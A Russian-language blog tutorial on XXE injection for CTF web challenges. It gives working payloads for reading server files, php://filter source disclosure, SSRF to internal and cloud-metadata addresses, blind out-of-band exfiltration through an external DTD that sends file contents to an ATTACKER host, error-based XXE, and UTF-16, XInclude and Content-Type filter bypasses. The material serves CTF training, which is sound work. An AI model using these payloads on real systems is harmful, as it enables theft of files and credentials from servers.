Главная / Блог / XXE-инъекции: эксплуатация XML в CTF

11 мин.00

XXE-инъекции: эксплуатация XML в CTF

XXE-инъекции: эксплуатация XML в CTF

На CTF-площадке YesWeHack Dojo Challenge #34 задача сводилась к обходу чёрного списка ключевых слов (file://, system, entity) в XML-парсере на Python. Решение уместилось в одну команду: iconv -t utf-16le payload.xml | base64 -w 0. Кодировка UTF-16 обошла байтовую проверку — и содержимое /tmp/flag.txt улетело в ответ.

XXE-инъекции стабильно появляются на соревнованиях любого уровня, но русскоязычные разборы обычно заканчиваются на <!ENTITY xxe SYSTEM "file:///etc/passwd">. Blind-эксфильтрация, error-based вектор, обход WAF и нестандартные поверхности атаки — всё остаётся за кадром. Здесь — от базового чтения файлов сервера через XXE до OOB-каналов и обхода фильтров, с готовыми пейлоадами для CTF.

Как работает XXE: уязвимости парсеров XML

XML-парсер разбирает XML-документ и обрабатывает его структуру. Проблема в том, что стандарт XML включает механизм внешних сущностей (external entities): через конструкцию <!ENTITY> в блоке <!DOCTYPE> можно указать парсеру загрузить данные из файла или URL-адреса. Если парсер обрабатывает внешние сущности — а по умолчанию это делают libxml2, Java DocumentBuilder, Python xml.sax с включённым флагом feature_external_ges — возникает уязвимость CWE-611 (Improper Restriction of XML External Entity Reference). По описанию MITRE CWE, продукт обрабатывает XML-документ, содержащий URI, которые разрешаются в ресурсы за пределами контролируемой зоны. Последствия: чтение данных приложения (конфиденциальность), обход защитных механизмов (целостность), DoS через потребление ресурсов (доступность). Подробнее — в нашем материале про создание ctf заданий.

По классификации OWASP XXE входит в категорию A03:2021 — Injection. В MITRE ATT&CK эксплуатация XXE маппится на Exploit Public-Facing Application (T1190) для первоначального проникновения, Data from Local System (T1005) при чтении файлов и Credentials In Files (T1552.001), когда через XXE достают конфигурации с паролями.

Для CTF-задач механика сводится к трём элементам. DOCTYPE — объявление типа документа, внутри которого определяются сущности. ENTITY — переменная, значение которой загружается из внешнего источника через ключевое слово SYSTEM и протокол file:// или http://. Третий элемент — точка вставки: место в XML, где подставляется значение сущности через синтаксис &имя;. Если приложение возвращает содержимое XML-узла в ответе — атакующий видит результат сразу (in-band XXE). Нет — нужны техники blind XXE.

Отдельная история — атака Billion Laughs (XML entity expansion): DoS через рекурсивное определение сущностей, где каждая ссылается на предыдущую, экспоненциально раздувая объём данных в памяти. В CTF встречается реже, но знать о ней стоит — именно из-за неё некоторые парсеры ограничивают глубину вложенности сущностей.

Классическая эксплуатация XML external entity: чтение файлов сервера через XXE

Самый частый сценарий в CTF — приложение принимает XML на вход через POST-запрос, API-endpoint или загрузку файла и отображает часть данных в ответе. Задача — найти поле, значение которого рефлексируется обратно, и подставить туда внешнюю сущность.

Допустим, приложение принимает XML вида <user><name>test</name></user> и возвращает Hello, test. Поле name — точка инъекции. Пейлоад для чтения /etc/passwd:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user><name>&xxe;</name></user>

Парсер обрабатывает DOCTYPE, загружает содержимое /etc/passwd в сущность &xxe;, подставляет его в <name> и возвращает: Hello, root:x:0:0:root:/root:/bin/bash.... По данным PortSwigger, в реальных приложениях XML-документ часто содержит несколько полей — и не все рефлексируются. Поэтому при тестировании перебирайте каждый узел, подставляя сущность и проверяя ответ.

Ключевые файлы для CTF: /etc/passwd, /etc/hostname, /proc/self/environ (переменные окружения — часто тут и лежит флаг), /flag.txt, /tmp/flag.txt и исходный код приложения. На Java-парсерах, по данным HackTricks, возможен листинг директорий (T1083 по ATT&CK): указываете путь к каталогу вместо файла (file:///etc/) — парсер вернёт список содержимого. Выручает, когда расположение флага неизвестно.

Нюанс с враппером file://: он требует абсолютного пути. Без враппера файл ищется в текущей директории парсера — результат непредсказуем. Конструкция <!ENTITY xxe SYSTEM "/etc/passwd"> тоже работает (путь абсолютный), но враппер делает намерение явным.

PHP-враппер для чтения исходного кода

Если приложение на PHP, прямое чтение .php-файла через file:// часто ломает XML-парсер: теги <?php интерпретируются как XML processing instruction и вызывают ошибку. Решение — php://filter/convert.base64-encode/resource=index.php. Сущность определяется как <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">. В ответе приходит Base64-строка, декодируем: echo "PD9waHA..." | base64 -d.

Приём работает для любого PHP-файла: config.php, db.php, flag.php. В CTF исходники часто содержат флаг прямо в коде или дают подсказку к следующему шагу.

SSRF через XXE в CTF-задачах

XXE позволяет не только читать локальные файлы, но и слать HTTP-запросы от имени сервера — это SSRF (Server-Side Request Forgery, A10:2021 по OWASP). В CTF этот вектор используется для доступа к внутренним сервисам, недоступным извне.

Пейлоад: <!ENTITY xxe SYSTEM "http://internal-service:8080/admin">. Если результат рефлексируется — видите ответ внутреннего сервиса. Типичные цели в CTF:

  • http://127.0.0.1:порт/ — локальные сервисы на loopback
  • http://169.254.169.254/latest/meta-data/ — metadata облачных провайдеров (AWS/GCP/Azure), если задача имитирует облачное окружение
  • http://внутренний-хост/flag — соседний контейнер в Docker-окружении

XXE-SSRF даёт двусторонний канал: значение сущности возвращается в ответе — видите и запрос, и ответ. Не возвращается — blind SSRF: можно триггерить действия на внутреннем сервисе, но результат напрямую не увидеть. Реальный пример за пределами CTF: CVE-2019-12153 в RealObjects PDFreactor (CWE-918) — отсутствие валидации в HTML-парсере позволяло через вредоносный контент обращаться к сетевым и файловым ресурсам от имени сервера.

Blind XXE эксплуатация: OOB exfiltration

Когда приложение обрабатывает XML, но не возвращает содержимое сущностей в ответе — прямое чтение файлов невозможно. Это blind XXE, и в CTF он встречается едва ли не чаще классического. Тут нужны out-of-band каналы.

Первый шаг — подтвердить уязвимость. Для этого используются параметрические сущности (parameter entities), определяемые через % вместо &:

<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://ваш-сервер.com/test">
  %xxe;
]>

Если парсер уязвим, он отправит HTTP-запрос на указанный адрес. Для приёма запросов в CTF подходят Burp Collaborator, interactsh или банальный python3 -m http.server 8888.

Параметрические сущности принципиально отличаются от обычных: они работают внутри DOCTYPE (а не в теле документа), могут ссылаться на другие параметрические сущности и вызываться прямо в DTD. Именно это делает их инструментом для построения цепочек эксфильтрации.

OOB XXE exfiltration через внешний DTD

Для эксфильтрации данных нужна цепочка из трёх параметрических сущностей, размещённых на внешнем DTD-файле. Логика: сервер-жертва загружает внешний DTD, тот читает целевой файл и отправляет содержимое в URL-параметре на сервер атакующего.

Файл evil.dtd на сервере атакующего:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM
  'http://ATTACKER/?data=%file;'>">
%eval;
%exfil;

Пейлоад в запросе к уязвимому приложению: <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://ATTACKER/evil.dtd"> %xxe;]>. Парсер загружает evil.dtd, выполняет цепочку: %file читает /etc/hostname, %eval формирует сущность %exfil с URL http://ATTACKER/?data=содержимое_файла, %exfil отправляет HTTP-запрос. Данные приходят в access-логе.

Ограничение: многострочные файлы (тот же /etc/passwd) не помещаются в URL. По данным HackTricks, для таких случаев используют FTP-протокол вместо HTTP — FTP-сервер принимает многострочные данные. Готовый скрипт xxe-ftp-server.rb поднимает FTP-листенер и логирует входящее содержимое.

Error-based XXE через DTD инъекцию XML

Альтернатива OOB — спровоцировать ошибку парсера, в которую подставится содержимое файла. Техника работает, когда OOB-каналы заблокированы (сервер не может инициировать исходящие HTTP/DNS-запросы), но ошибки парсера возвращаются клиенту. В CTF-тасках с изолированным окружением — нередкая ситуация.

Механизм: параметрическая сущность %file читает целевой файл. Затем %error пытается загрузить file:///nonexistent/%file;. Парсер выдаёт ошибку вида «файл не найден: /nonexistent/root:x:0:0:root:/root:/bin/bash...» — и содержимое оказывается в тексте ошибки. Цепочка строится аналогично OOB: внешний DTD с тремя параметрическими сущностями, загружаемый из пейлоада.

Для этого вектора на сервере-жертве должны существовать файлы с известными DTD. HackTricks описывает метод поиска локальных DTD через перебор стандартных путей (/usr/share/yelp/dtd/docbookx.dtd на Linux и аналоги) — это позволяет строить error-based XXE даже без внешнего DTD-сервера.

XXE через SVG, DOCX и загрузку файлов

Не каждый CTF-таск очевидно принимает XML. Форматы SVG, DOCX, XLSX, PPTX — это ZIP-архивы с XML-файлами внутри. Если приложение обрабатывает загруженные файлы на стороне сервера, XXE-инъекция возможна через эти форматы.

SVG — самый частый вектор в CTF-задачах категории web. SVG-файл — это XML, и если сервер рендерит или валидирует его, внешние сущности обрабатываются. Пейлоад: стандартный DOCTYPE с определением сущности через file:///, внутри <svg> — тег <text>, выводящий значение &xxe;. Если сервер возвращает отрендеренное изображение, содержимое файла буквально рисуется текстом на картинке. Даже если приложение ожидает PNG или JPEG — библиотека обработки изображений может поддерживать SVG, и парсер обработает XML-разметку. По данным PortSwigger, это типичная скрытая поверхность атаки.

DOCX — ZIP-архив, содержащий word/document.xml, [Content_Types].xml и другие XML-файлы. Для инъекции распаковываем DOCX (unzip file.docx), добавляем DOCTYPE с внешней сущностью в один из XML-файлов и запаковываем обратно (zip -r malicious.docx .). Реальный пример за пределами CTF: CVE-2019-0340 в SAP Enable Now (CWE-611) — через загрузку файлов читались локальные файлы сервера.

Обход защиты от XXE: UTF-16, XInclude и подмена Content-Type

В CTF-задачах среднего и высокого уровня базовый пейлоад блокируется фильтрами. Техники обхода защиты от XXE требуют понимания того, как именно реализована фильтрация.

UTF-16 encoding bypass — пожалуй, самый элегантный обход чёрных списков. Если фильтр проверяет байты входных данных на наличие строк file://, SYSTEM, ENTITY в ASCII/UTF-8, перекодирование пейлоада в UTF-16 обходит все проверки разом.

Именно этот подход решил YesWeHack Dojo Challenge #34 (CWE-611). Приложение на Python проверяло: if any(x in dataBytes.lower() for x in [b'file://', b'system', b'entity']) — байтовое сравнение. Но парсер xml.sax с feature_external_ges=True корректно обрабатывал UTF-16. Ключевой момент: условие dataBytes[:2] != b'\xff\xfe' (BOM UTF-16 LE) направляло поток обработки в ветку БЕЗ чёрного списка. Решение:

iconv -t utf-16le payload.xml | base64 -w 0

Файл payload.xml содержит стандартный XXE-пейлоад. После конвертации в UTF-16 LE строки file:// и SYSTEM перестают совпадать с ASCII-паттернами фильтра. Парсер по BOM-маркеру определяет кодировку и обрабатывает XML корректно. Красиво, правда?

Подмена Content-Type работает, когда endpoint принимает application/x-www-form-urlencoded или application/json, но серверный код передаёт данные в XML-парсер. По данным HackTricks, замена заголовка на Content-Type: application/xml и отправка XML-тела вместо form-данных открывает XXE-атаку на веб-приложение, которое изначально не выглядело XML-совместимым. Конвертация JSON в XML тоже работает: объект {"search": "test"} заменяется на <?xml version="1.0"?><search>test</search> с добавлением DOCTYPE.

HTML-сущности и UTF-7 — дополнительные варианты из HackTricks. Кодирование ключевых слов через HTML-сущности (&#x73;&#x79;&#x73;&#x74;&#x65;&#x6d; вместо SYSTEM) или использование UTF-7 (+ADw-!ENTITY...) обходит regex-фильтры, не учитывающие альтернативные представления символов. В CTF встречается реже, но в арсенале иметь стоит.

XInclude: DTD инъекция XML без контроля DOCTYPE

Бывают CTF-задачи, где атакующий контролирует только часть XML-документа — одно поле в SOAP-запросе или значение, вставляемое в серверный XML. Определить или изменить DOCTYPE нельзя, классический XXE невозможен. Тут выручает XInclude — механизм XML для включения внешних документов.

Пейлоад XInclude: <foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>. Его можно вставить в любое значение данных. Если сервер поддерживает XInclude — содержимое файла будет включено в результирующий документ. Атрибут parse="text" критически важен: он указывает парсеру включить файл как текст, а не как XML, предотвращая ошибки при обработке содержимого с XML-спецсимволами.

Пошаговый workflow для XXE-таска в CTF

На основе десятков решённых задач складывается системный подход к эксплуатации XXE-инъекций. Не хаотичный перебор пейлоадов — а чёткая последовательность.

Шаг 1: Найти точку приёма XML. Очевидное — endpoint с Content-Type: application/xml или text/xml. Неочевидное — загрузка файлов (SVG, DOCX, XLSX), SOAP-сервисы, API с JSON (попробуйте заменить на XML). Перехватите запрос в Burp Suite, изучите заголовки и тело.

Шаг 2: Проверить рефлексию. Отправьте XML с простой внутренней сущностью: DOCTYPE с <!ENTITY test "REFLECTED"> и подставьте &test; в каждое поле по очереди. Ищите строку REFLECTED в ответе. Нашли — in-band XXE. Не нашли — переходите к blind-тестированию.

Шаг 3: Проверить обработку внешних сущностей. Замените значение на SYSTEM "file:///etc/hostname" (короткий файл, минимум спецсимволов). Содержимое файла в ответе — XXE подтверждена. Читайте нужные файлы, ищите флаг.

Шаг 4: Blind-проверка. Рефлексии нет — параметрическая сущность с обращением на свой сервер. Отслеживайте входящие запросы через python3 -m http.server, Burp Collaborator или interactsh.

Шаг 5: Эксфильтрация. In-band: прямое чтение файлов через file://. Blind: OOB через внешний DTD (цепочка %file → %eval → %exfil). OOB заблокирован — error-based через несуществующий файл с именем из содержимого целевого.

Шаг 6: Обход фильтров. Базовый пейлоад заблокирован — UTF-16 (iconv -t utf-16le), XInclude (если нет контроля над DOCTYPE), подмена Content-Type, PHP-враппер php://filter для исходников. HTML-сущности и UTF-7 — для regex-фильтров.

Шаг 7: Расширение атаки. После чтения файлов — SSRF к внутренним сервисам, чтение конфигураций с паролями (Credentials In Files, T1552.001), листинг директорий на Java. Если доступен модуль expect в PHP — враппер expect://id даёт RCE.

Несколько практических заметок. Враппер file:// требует абсолютного пути; без него результат непредсказуем. В пейлоадах нельзя использовать символы < и & внутри значения сущности напрямую — если целевой файл содержит XML/HTML-разметку, парсер упадёт с ошибкой. Решение — Base64-враппер для PHP или OOB-канал. Всегда проверяйте несколько путей к флагу: /flag, /flag.txt, /tmp/flag.txt, /home/ctf/flag, /proc/self/environ.

Реальные CVE подтверждают актуальность XXE за пределами CTF. CVE-2018-1000838 — XXE в Autopsy (инструмент цифровой криминалистики) версии <= 4.9.0, вектор CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (максимальная критичность), CWE-611. Через специально сформированный CaseMetadata XML достигались раскрытие данных, SSRF, DoS и сканирование портов. EPSS-скоринг — 0.0250 при перцентиле 0.8409, выше 84% всех CVE по вероятности эксплуатации. CVE-2019-12154 — XXE в RealObjects PDFreactor (CWE-611): через внешние XML-ресурсы раскрывались локальные файлы сервера. Каждая из этих уязвимостей — прямой аналог CTF-таска, только на production-софте.

Большинство CTF-игроков осваивают базовый <!ENTITY xxe SYSTEM "file:///etc/passwd"> за один вечер и считают тему закрытой. На практике XXE — ворота в несколько техник одновременно: от SSRF до credential harvesting. Задачи на CTF-площадках всё чаще требуют не просто знать синтаксис пейлоада, а понимать, как работает конкретный парсер, какие обёртки он поддерживает и где в цепочке обработки проскакивает bypass. Я вижу устойчивый тренд: авторы CTF-тасков смещают фокус с «вставь готовый пейлоад» на «разберись в коде парсера и найди обход». UTF-16, XInclude, error-based через внешний DTD — не экзотика, а базовый набор для web-категории. Кто ограничивается копипастом готовых списков — застрянет на medium и будет недоумевать, почему стандартный пейлоад не проходит. Если хочешь не просто writeup читать, а пройти всю атаку от парсинга до эксфильтрации с лабами и разбором на каждый кейс — на WAPT эту цепочку проходят в модулях с практическими стендами.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...

Читайте также

Reverse engineering в Ghidra: crackme с нуля

12 мин.

9

Reverse engineering в Ghidra: crackme с нуля

Полный разбор crackme в Ghidra: от file и strings до XOR-декодирования пароля и патчинга JNZ. Python-скрипт, anti-reversing техники, stripped-бинарники

28 СЕНТЯБРЬ, 2026

Race Condition в CTF: эксплуатация на практике

12 мин.

8

Race Condition в CTF: эксплуатация на практике

Три типа race condition, single-packet attack за 4 мкс, Turbo Intruder скрипты и разбор реальных CVE. Практическое руководство для CTF-игроков и пентестеров.

28 СЕНТЯБРЬ, 2026

Как писать write-up после CTF: структура и ошибки

13 мин.

19

Как писать write-up после CTF: структура и ошибки

Готовый шаблон write-up для CTF с примером, 7 ошибок новичков и инструменты для заметок. Пошаговый гайд от CTF-игрока.

27 СЕНТЯБРЬ, 2026